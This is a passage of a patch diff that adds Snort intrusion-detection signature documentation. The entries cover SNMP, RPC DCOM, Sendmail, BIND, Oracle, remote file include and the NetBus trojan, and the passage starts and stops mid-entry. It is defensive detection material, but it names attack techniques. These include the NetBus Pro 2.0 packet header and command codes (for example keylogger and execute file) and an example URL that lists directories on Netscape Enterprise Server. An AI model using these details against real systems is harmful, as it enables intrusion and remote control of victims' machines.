+network traffic that may constitute an attack. Specifically an invalid
+mapping was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_unidecode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1412.txt
+++ snort-2.8.5.2/doc/signatures/1412.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+1412
+
+--
+
+Summary:
+This event is generated when an SNMP connection over TCP using the 
+default 'public' community is made.
+
+--
+
+Impact:
+Information gathering
+
+--
+
+Detailed Information:
+SNMP (Simple Network Management Protocol) v1 uses communities and IP 
+addresses to authenticate communication between the SNMP client and SNMP
+daemon. Many SNMP implementations come pre-configured with 'public' and 
+'public' communities. If these are not disabled, the attacker can 
+gather a great deal of information about the device running the SNMP 
+daemon.
+
+--
+
+Affected Systems:
+Devices running SNMP daemons with 'public' community enabled.
+
+--
+
+Attack Scenarios:
+An attacker scans a range of IPs for SNMP servers having the 'public' 
+community set and gathers information about the hosts.
+
+--
+
+Ease of Attack:
+Simple.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable the 'public' and 'private' communities before connecting the 
+device with SNMP on the Internet or block access to SNMP ports using a 
+packet filtering firewall for unauthorized addresses.
+
+--
+
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3313.txt
+++ snort-2.8.5.2/doc/signatures/3313.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3313
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1707.txt
+++ snort-2.8.5.2/doc/signatures/1707.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1707
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3009.txt
+++ snort-2.8.5.2/doc/signatures/3009.txt
@@ -0,0 +1,115 @@
+Rule: 
+
+--
+Sid: 
+3009
+
+-- 
+Summary:
+This event is generated when an attempt is made to request a connection
+using the NetBus Pro 2.0 Trojan.
+
+-- 
+Impact: 
+If connected, the attacker could execute files remotely on your computer,
+capture an image of your desktop, send messages, steal your passwords,
+open and close your CD-ROM, play sounds, print documents, and even
+shutdown or reboot your computer, among many other things. The attacker
+will have almost total control of the PC should he connect successfully.
+
+--
+Detailed Information:
+NetBus Pro 2.0 incorporates its own protocol. It uses port 20034 by
+default, but it can be changed by the attacker.
+
+Its packets included a ten byte header followed by the packet's encrypted
+data. The first two bytes of the header are static: 42 4E.  The next two
+bytes indicate the size of the packet, followed by two bytes
+for the version number, followed by two random bytes, and the final ninth
+and tenth byte make up the command code. To look for an attack from one of
+these functions, the header of the suspicious packet will look like:
+
+	42 4E S1 S2 V1 V2 R1 R2 C1 C2
+
+NOTE: S1 and S2 are size byte one and size byte two. V1 and V2 are version
+number byte one and version number byte two. R1 and R2 are random bytes
+one and two. C1 and C2 are the command code bytes.
+
+The following is a list of the command codes for many of Net Bus Pro 2.0's
+functions:
+
+	Capture Desktop Image: 41 01
+	CD-ROM Open and Close: 60 01
+	Client Chat: 08 00
+	Execute File: 30 01
+	Reading Directory Listing: 50 00
+	Directory Traversal: 51 00
+	Go To URL: 33 01
+	Keyboard Tricks: 61 01
+	Keylogger: 40 01
+	Mouse Tricks: 65 01
+	Open Document: 33 01
+	Play Sound: 31 01
+	Plugin Manager: 90 00
+	Print Document: 34 01
+	Record Sound: 43 01
+	Redirect Application: 10 01
+	Redirect Port: 00 01
+	Registry Manager: 70 00
+	Remote Control: 73 01 and 72 01
+	Send Message: 40 00
+	Send Text: 64 01
+	Show Image: 32 01
+	Sound System: 80 00
+	System Administrator: 21 00
+	System Information: 30 00
+	Windows Manager: 60 00
+	Any Windows Exit Function(Shutdown, Reboot, etc.): 50 01
+
+--
+Affected Systems:
+Windows 95/98/ME/NT/2000
+
+--
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files
+because they often can be backdoor programs in disguise.
+
+Once the victim mistakenly installs the server program, the attacker
+will usually employ an IP scanner program to find the IP addresses of
+victims that have installed the program. The attacker then enters the IP
+address, port number (which is assigned to the server program by the
+attacker: default is 20034), and presses the connect button to gain access
+to the targeted system.
+
+-- 
+Ease of Attack: 
+Simple. Trojan Horse programs are widely available.
+
+-- 
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+Corrective Action: 
+In order to get rid of it, you will have to uninstall the program,
+deleting the folder and its contents or uninstalling it from the
+Add/Remove Programs option under the control panel. The Trojan usually
+does not attempt to hide itself, making the process of finding it much easier.
+
+--
+Contributors:
+Sourcefire Research Team
+Ricky Macatee <rmacatee@sourcefire.com> 
+
+-- 
+Additional References:
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/netbus/200/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1190.txt
+++ snort-2.8.5.2/doc/signatures/1190.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid:
+1190
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a
+vulnerability in some versions of Netscape Enterprise Server.
+ 
+--
+Impact:
+Information leak which could provide an attacker with the data needed to
+launch further attacks or gain more detailed information about your web server.
+
+--
+Detailed Information:
+A user can see a directory listing by appending a Web Publishing command
+to the end of a directory URL, for example: "http://www.sun.com/?wp-uncheckout".
+
+This exploit will work on Netscape Enterprise Server regardless of
+directory indexing settings.  
+
+It will not work on iPlanet Web Server if directory indexing is set to
+"none" or "fancy" (the default). Web Publishing need not be enabled for
+this exploit to work.
+
+--
+Affected Systems:
+	Netscape Enterprise Server 3.0, 3.51 and 3.6
+
+-- 
+Attack Scenarios:
+The gathering of information such as directory listings is valuable when
+planning to attack a web server. 
+
+--
+Ease of Attack:
+Simple. No exploit software required however, an automated tool for
+scanning exists as does an exploit script.
+
+--
+False Positives:
+A web server that uses URLs which contain web publishing commands.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable directory indexing. For earlier versions of Netscape Enterprise
+Server, this may not fix the problem. On iPlanet, you can also change
+the indexing type to "fancy".
+
+To fix the potential DOS vulnerability, upgrade to at least iWS 4.1 SP8.
+
+--
+Contributors:
+Snort documentation contributed by Kevin Peuhkurinen
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+iPlanet Knowledge Base Article 4302:
+http://knowledgebase.iplanet.com/ikb/kb/articles/4302.html 
+
+iPlanet Knowledge Base Article 7761:
+http://knowledgebase.iplanet.com/ikb/kb/articles/7761.html 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1759.txt
+++ snort-2.8.5.2/doc/signatures/1759.txt
@@ -0,0 +1,80 @@
+Rule:  
+
+--
+Sid: 
+1759
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+Affected Systems:
+	Microsoft SQL Servers
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2922.txt
+++ snort-2.8.5.2/doc/signatures/2922.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 
+2922
+
+-- 
+Summary: 
+This event is generated when an inverse query attempt is made using TCP.
+
+-- 
+
+Impact: 
+Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Bind 8 contains a programming error that may present an attacker with
+the opportunity to execute code of their choosing on an affected server.
+
+The error occurs in the handling of malformed transactions. When using
+TCP this can result in the attacker causing a heap overflow.
+
+--
+Affected Systems:
+	Bind 8.
+
+--
+Attack Scenarios: 
+An attacker needs to send a specially crafted and malformed query to an
+affected server.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000552.txt
+++ snort-2.8.5.2/doc/signatures/100000552.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000552
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "SmartSiteCMS" application running on a webserver. 
+Access to the file "inc_foot.php" using a remote file being passed as the 
+"root" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "root" parameter in the "inc_foot.php" script used by 
+the "SmartSiteCMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SmartSiteCMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3462.txt
+++ snort-2.8.5.2/doc/signatures/3462.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+3462
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer
+using the Content-Encoding parameter.
+
+--
+Impact:
+Serious. Code execution is possible.
+
+--
+Detailed Information:
+Internet Explorer does not correctly handle Content-Type or
+Content-Encoding headers returned from a server. It is possible to
+overflow a static buffer in urlmon.dll by supplying more than 300 bytes
+of data in the parameter for those headers.
+
+Specifically the error occurs when an image tag <img> is used to pass
+the excess data to both those header fields in a server response. Since
+some email clients use Internet Explorer to process HTML email messages,
+it is also possible to cause this overflow to occur via email.
+
+--
+Affected Systems:
+	Microsoft Windows systems
+
+--
+Attack Scenarios:
+An attacker can supply a malicious HTML file to a mail client containing
+excess data in the Content-Type and Content-Encoding headers that will
+overflow the buffer presenting them with the opportunity to write to
+various parts of memory and possibly execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Exploit code is publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2261.txt
+++ snort-2.8.5.2/doc/signatures/2261.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2261
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000679.txt
+++ snort-2.8.5.2/doc/signatures/100000679.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000679
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "index.php" using a remote file being passed as the 
+"func_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "func_prog" parameter in the "index.php" script used by 
+the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1912.txt
+++ snort-2.8.5.2/doc/signatures/1912.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1912
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) sadmind.
+
+--
+Impact:
+Remote root access. This attack may permit execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite
+applications to perform remote distributed system administration tasks
+such as adding new users. A buffer overflow associated with the
+NETMGT_PROC_SERVICE request of sadmind exists because of improper bounds
+checking. This may permit execution of arbitrary commands with the
+privileges of root.
+
+--
+Affected Systems:
+	Sun Solaris 2.5, 2.5.1, 2.6, 7.0
+
+--
+Attack Scenarios:
+Exploit code can be used to attack a vulnerable sadmind to obtain root
+access to the remote host.
+
+--
+Ease of Attack:
+Simple. Exploit scripts are freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1314.txt
+++ snort-2.8.5.2/doc/signatures/1314.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1314
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "young teen".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "young teen".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000369.txt
+++ snort-2.8.5.2/doc/signatures/100000369.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000369
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_forumauth.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_forumauth.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1352.txt
+++ snort-2.8.5.2/doc/signatures/1352.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+1352
+
+--
+Summary:
+Attempted tclsh command access via web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to execute a tclsh command or script on a webserver. tclsh is a shell application that reads tcl commands and evaluates them. The attacker could possibly execute a command or script on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 'tclsh'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine.
+
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1351
+
+--
--- snort-2.8.5.2.orig/doc/signatures/303.txt
+++ snort-2.8.5.2/doc/signatures/303.txt
@@ -0,0 +1,79 @@
+Rule:
+--
+Sid:
+303
+
+--
+Summary:
+A specific inverse query has been performed against your DNS server as a
+precursor to a possible transaction signature (TSIG) buffer overflow 
+attack. 
+
+--
+Impact:
+attempt to gain access to information required for the TSIG exploit.  A 
+TSIG buffer overflow exploit attempt will usually follow if there is a 
+response to the inverse query.
+
+
+--
+Detailed Information:
+This is an attempt to perform a specific DNS inverse query against your 
+DNS server.  While this specific action is not harmful itself, it 
+signals a precusor to a possible buffer overflow attack for a TSIG 
+vulernability.  The inverse query is performed for reconnaissance for 
+the TSIG attack. 
+
+--
+Affected Systems:
+BIND Versions 4 and through 8.2 are susceptible to the inverse query 
+information leak.
+
+
+--
+Attack Scenarios:
+The envisioned scenario is that if a DNS server responds to the inverse 
+query and leaks information required in the actual attack, the exploit 
+code then attacks the TSIG buffer overflow vulnerability.  If this is 
+successful, the attacker gains access to the DNS server at the privilege
+of the DNS daemon, named (potentially root). 
+
+
+--
+Ease of Attack:
+Code is available to exploit the vulnerability.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+A user could change the exploit code.  For instance, a user could change
+the DNS identification number in the code to be something other than 
+0xABCD and the rule would not fire.
+
+--
+Corrective Action:
+Update to BIND versions greater than 8.2 to prevent the information 
+leak.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2302
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
+
+Arachnids:
+http://www.whitehats.com/info/IDS482
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000111.txt
+++ snort-2.8.5.2/doc/signatures/100000111.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000111
+
+-- 
+Summary: 
+This event is generated when the Dabber virus attempts to exploit a 
+vulnerability in the FTP server installed by the Sasser virus.
+
+-- 
+
+Impact: 
+If the Sasser virus is currently running on the affected system, then the 
+Dabber virus will be able to install itself as well.
+
+--
+Detailed Information:
+Some variants of the Sasser virus install an FTP server that listens on port 
+1023. However, this FTP server suffers from a buffer overflow in the PORT 
+command, which can be exploited with a command of 100 or more characters. The 
+Dabber virus makes use of this vulnerability as an infection vetor.
+
+--
+Affected Systems:
+Any machine with a variant of the Sasser virus whose FTP server listens on port 
+1023. 
+
+--
+
+Attack Scenarios: 
+A known virus scans the Internet in search of vulnerable systems.
+
+-- 
+
+Ease of Attack: 
+Simple, as the virus is in the wild.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Users should employ a virus removal tool to clean their system of both Dabber 
+and Sasser, and then apply the latest security patches from Microsoft to 
+prevent further infections.
+
+--
+Contributors: 
+Matt Watchinski <mwatchinski@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.microsoft.com/technet/security/bulletin/MS04-011.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2761.txt
+++ snort-2.8.5.2/doc/signatures/2761.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2761
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure define_priority_group
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/106-1.txt
+++ snort-2.8.5.2/doc/signatures/106-1.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+106-1
+
+--
+Summary:
+This event is generated when the pre-processor spp_rpc_decode detects
+network traffic that may constitute an attack. Specifically fragmented 
+rpc records were detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_rpc_decode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000366.txt
+++ snort-2.8.5.2/doc/signatures/100000366.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000366
+
+--
+Summary:
